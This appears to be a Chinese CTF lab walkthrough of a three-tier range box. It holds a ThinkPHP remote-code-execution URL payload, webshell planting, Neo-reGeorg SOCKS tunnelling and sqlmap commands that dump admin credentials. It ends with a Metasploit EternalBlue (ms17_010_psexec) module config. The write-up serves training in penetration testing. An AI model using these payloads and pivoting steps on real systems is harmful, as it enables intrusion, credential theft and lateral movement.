云尘靶场--CFS三层靶机

先扫c段

windows上好像挂着vpn nmap不能扫

直接fscan了

可以看到172.25.0.13存活 存在ftp、ssh、http等端口 漏洞也有了

先不急 访问一下网站

172.25.0.13

http://172.25.0.13/

直接拿thinkphp漏扫工具来扫一下

有poc可以直接利用

复制代码
/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

发现可以利用

用工具爽的很

用命令执行

可以看到

第一个flag

然后直接getshell拿下

检查一下看看

蚁剑连接成功了

第二个flag

第三个flag

/www/wwwroot/ThinkPHP/public/flag21sA.txt

然后先信息收集一波

复制代码
查内核
uname -r
查ip
ifconfig
ip a
查端口
netstat -ntlp
查进程
ps -ef
查路由
route

翻翻目录、文件

ifconfig

下面建立代理 很久没用不太熟练了

这里使用neo-regeorg

先上传tunnel.php到网站根目录

检查一下

然后建立sock5代理

复制代码
neoreg.py -k a  -u http://172.25.0.13/tunnel.php
复制代码
chmod 777 fscan_amd64

./fscan_amd64

扫到192.168.22.22

192.168.22.22

查看/robots.txt

根据提示可以找到登录界面http://192.168.22.22/index.php?r=admini/public/login

查看源代码看到有hint

1.数据库查询

复制代码
sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --batch --dbs --proxy=socks5://127.0.0.1:1080
复制代码
sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --batch -D bagecms --tables  --proxy=socks5://127.0.0.1:1080
复制代码
sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --columns  --proxy=socks5://127.0.0.1:1080
复制代码
sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin -C username,password --dump --proxy=socks5://127.0.0.1:1080

用爆出的账号密码登录

进去就得到flag

在模板里面插入一句话木马

蚁剑设置代理sock5

尝试连接

flag{23ASfqwr4t2e}

ifconfig

T1中上传neo

解压unzip Neo-reGeorg-5.1.0.zip

在192.168.22.22中上传tunnel.php

检查一下

可以先查看一下能不能用python 有没有python环境

然后开启代理

python neoreg.py -k a -u http://192.168.22.22/tunnel.php -l 0.0.0.0 -p 2000

192.168.33.33

nmap扫描33网段

复制代码
proxychains4 nmap -Pn -sT 192.168.33.0/24

发现这是开放着445、3389端口的Windows系统

那应该是永恒之蓝

复制代码
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
options
run

type查看flag.txt

相关推荐
递归不收敛21 分钟前
吴恩达机器学习课程(PyTorch适配)学习笔记:2.4 激活函数与多类别处理
pytorch·学习·机器学习
加油201923 分钟前
如何快速学习一个网络协议?
网络·网络协议·学习·方法论
A9better1 小时前
嵌入式开发学习日志36——stm32之USART串口通信前述
stm32·单片机·嵌入式硬件·学习
不太可爱的叶某人1 小时前
【学习笔记】kafka权威指南——第6章 可靠的数据传递
笔记·学习·kafka
2301_790994994 小时前
仿神秘海域/美末环境交互的程序化动画学习
学习·microsoft·交互
能不能别报错4 小时前
K8s学习笔记(十六) 探针(Probe)
笔记·学习·kubernetes
初圣魔门首席弟子4 小时前
C++ STL 向量(vector)学习笔记:从基础到实战
c++·笔记·学习
qiangshang9901265 小时前
WPF+MVVM入门学习
学习·wpf
iconball5 小时前
个人用云计算学习笔记 --20 (Nginx 服务器)
linux·运维·笔记·学习·云计算
生物小卡拉5 小时前
R脚本--表达矩阵与特征矩阵相关性分析
笔记·学习·机器学习